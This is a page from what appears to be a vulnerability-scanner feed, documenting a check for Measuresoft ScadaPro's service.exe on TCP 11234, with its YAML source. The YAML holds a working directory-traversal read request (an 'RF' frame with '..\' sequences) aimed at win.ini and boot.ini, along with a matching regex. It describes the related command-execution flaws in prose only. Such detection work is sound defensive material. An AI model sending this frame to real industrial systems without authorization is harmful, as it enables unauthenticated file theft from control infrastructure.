Measuresoft ScadaPro — 1 vulnerability check

noctis ships 1 vulnerability check for Measuresoft ScadaPro, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Measuresoft ScadaPro service.exe directory traversal file read and multiple vulnerabilities

CVECVE-2011-3495, CVE-2011-3490, CVE-2011-3496, CVE-2011-3497
Severitycritical · CVSS 10.0
Categoryfile-read — File read
Servicesunknown
Detectionscript, tcp_dialogue, match · highest QoD 75
Feedtests/vulnerabilities/measuresoft-scadapro/scadapro-service-multiple-vulns.yaml

Measuresoft ScadaPro 4.0.0 and earlier run service.exe, an unauthenticated IPC service on TCP 11234. Its file commands do not confine file names, so a remote attacker can read, write or delete any file (CVE-2011-3495); the same service also runs shell commands passed to its BF/OF/EF commands (CVE-2011-3496), calls arbitrary DLL functions through XF (CVE-2011-3497) and overflows stack buffers on long commands (CVE-2011-3490).

What the test sends: for each of `windows/win.ini`, `boot.ini` and `winnt/win.ini`, a fresh connection carrying one read-file (`RF`) request for that file through a `..\` traversal out of the ScadaPro directory, asking for its first 256 bytes. Nothing is written and no command is run.

What confirms the finding: the reply carries the content of the requested Windows file — `; for 16-bit app support` or the `[fonts]` and `[extensions]` sections of win.ini, or the `[boot loader]` section of boot.ini. These strings are not part of the request, so a service that merely echoes what it receives is not reported. The test stops at the first file read.

How noctis detects it

  1. Parses / computes the next value with a Rhai script, for each of 3 values
  2. TCP dialogue: one binary protocol frame
  3. Checks r.transcript for (?i)(\[boot loader\]|; for 16-bit app support|\[fonts\][\s\S]*\[exten… → finding QoD 75: Measuresoft ScadaPro service.exe directory traversal — arbitrary file read

References:

Feed source — tests/vulnerabilities/measuresoft-scadapro/scadapro-service-multiple-vulns.yaml
# Measuresoft ScadaPro service.exe (TCP 11234) — CVE-2011-3490, CVE-2011-3495,
# CVE-2011-3496, CVE-2011-3497.
#
# Detection logic ported from the OpenVAS/Greenbone NVT
# 2012/gb_measuresoft_scadapro_mult_vuln.nasl (OID 1.3.6.1.4.1.25623.1.0.802047,
# GPL-2.0-only). Kept as a comment: the description is product documentation.
# Request shape: the NVT's RF frame, byte for byte ("RF%SCADAPRO" + 19 bytes of
# "\.." + file + "\t256\t-1\t0\t268435456\t3\t0\t4\t0\t0\0"), same three files.
#
# Better than the NVT:
#   - the NVT overwrites its content pattern with the file NAME before matching
#     (`pattern = str_replace(..., string:file, ...)`), so it reports any service
#     that echoes "boot.ini" / "win.ini" back and misses a real read whose reply
#     does not repeat the name. This feed matches the file CONTENT
#     ("[boot loader]", "; for 16-bit app support", "[fonts]" … "[extensions]"),
#     none of which is in the request, so an echo cannot match;
#   - one fresh connection per file: the NVT reuses one socket for all three
#     requests, and a server that drops the connection after a failed read
#     (file absent, e.g. boot.ini on Windows 7+) hides the next file;
#   - a greeting sent on connect (Metasploit's scadapro_cmdexe reads one) is
#     read first and does not shift the reply.
# Version 4.0.1 fixed all four bugs by no longer serving this legacy IPC
# service (Luigi Auriemma advisory, update of 15 Sep 2011), so a successful RF
# read also places the service in the range hit by the other three CVEs.
uid: 89bdf98d-1002-4e88-880a-3474a1124958
name: "Measuresoft ScadaPro service.exe directory traversal file read and multiple vulnerabilities"
description: |
  Measuresoft ScadaPro 4.0.0 and earlier run service.exe, an unauthenticated
  IPC service on TCP 11234. Its file commands do not confine file names, so a
  remote attacker can read, write or delete any file (CVE-2011-3495); the same
  service also runs shell commands passed to its BF/OF/EF commands
  (CVE-2011-3496), calls arbitrary DLL functions through XF (CVE-2011-3497) and
  overflows stack buffers on long commands (CVE-2011-3490).

  What the test sends: for each of `windows/win.ini`, `boot.ini` and
  `winnt/win.ini`, a fresh connection carrying one read-file (`RF`) request for
  that file through a `..\` traversal out of the ScadaPro directory, asking for
  its first 256 bytes. Nothing is written and no command is run.

  What confirms the finding: the reply carries the content of the requested
  Windows file — `; for 16-bit app support` or the `[fonts]` and `[extensions]`
  sections of win.ini, or the `[boot loader]` section of boot.ini. These
  strings are not part of the request, so a service that merely echoes what it
  receives is not reported. The test stops at the first file read.
cves: [CVE-2011-3495, CVE-2011-3490, CVE-2011-3496, CVE-2011-3497]
cvss: 10.0
severity: critical
category: file-read
confidence_base: 0.30
tags: [measuresoft, scadapro, scada, ics, path-traversal, file-read, unauthenticated, windows, tcp-11234]
# nmap has no service name or version probe for TCP 11234: the port is
# reported as "unknown".
services: [unknown]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-3490"
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-3495"
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-3496"
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-3497"
  - "http://aluigi.altervista.org/adv/scadapro_1-adv.txt"
  - "https://www.cisa.gov/news-events/ics-advisories/icsa-11-263-01"
  - "https://www.exploit-db.com/exploits/17848"

steps:
  # One iteration per Windows file: build the RF frame, send it on a fresh
  # connection, look for the file's content. `stop` ends the test at the first
  # read, so at most one finding is reported.
  - id: build-rf
    action: script
    store_as: rf
    code: |
      let req = "RF%SCADAPRO\\..\\..\\..\\..\\..\\..\\" + file
        + "\t256\t-1\t0\t268435456\t3\t0\t4\t0\t0";
      hexstr(req) + "00"
    loop:
      over:
        - "windows/win.ini"
        - "boot.ini"
        - "winnt/win.ini"
      var: file

  # read_banner: a greeting, when the service sends one, is read before the
  # frame so it never shifts the reply.
  - id: read-file
    action: tcp_dialogue
    port: "{{port}}"
    read_banner: true
    send_hex: "{{rf}}"
    # Runs on unknown ports: a service that never greets costs the whole
    # first-byte wait (timeout_secs), so keep it short.
    timeout_secs: 3
    store_as: r

  - id: file-content
    action: match
    condition: "r.connected == true"
    source: r.transcript
    pattern: "(?i)(\\[boot loader\\]|; for 16-bit app support|\\[fonts\\][\\s\\S]*\\[extensions\\])"
    on_match:
      finding:
        title: "Measuresoft ScadaPro service.exe directory traversal — arbitrary file read"
        description: "An unauthenticated RF (read file) request sent to the ScadaPro service on this port returned the content of the Windows file {{file}} through a ..\\ traversal out of the ScadaPro directory (CVE-2011-3495). The same service in ScadaPro 4.0.0 and earlier also writes and deletes arbitrary files, runs shell commands (CVE-2011-3496), calls arbitrary DLL functions (CVE-2011-3497) and overflows stack buffers (CVE-2011-3490), all without authentication."
        remediation: "Upgrade Measuresoft ScadaPro to 4.0.1 or later, which no longer serves the legacy service.exe IPC interface. Until then, block TCP 11234 at the host firewall and allow it only from trusted engineering stations."
        confidence_delta: 0.55
        qod: 75
        evidence: "RF {{file}} returned the file content: {{r.transcript}}"
      stop: true

View these feeds on GitHub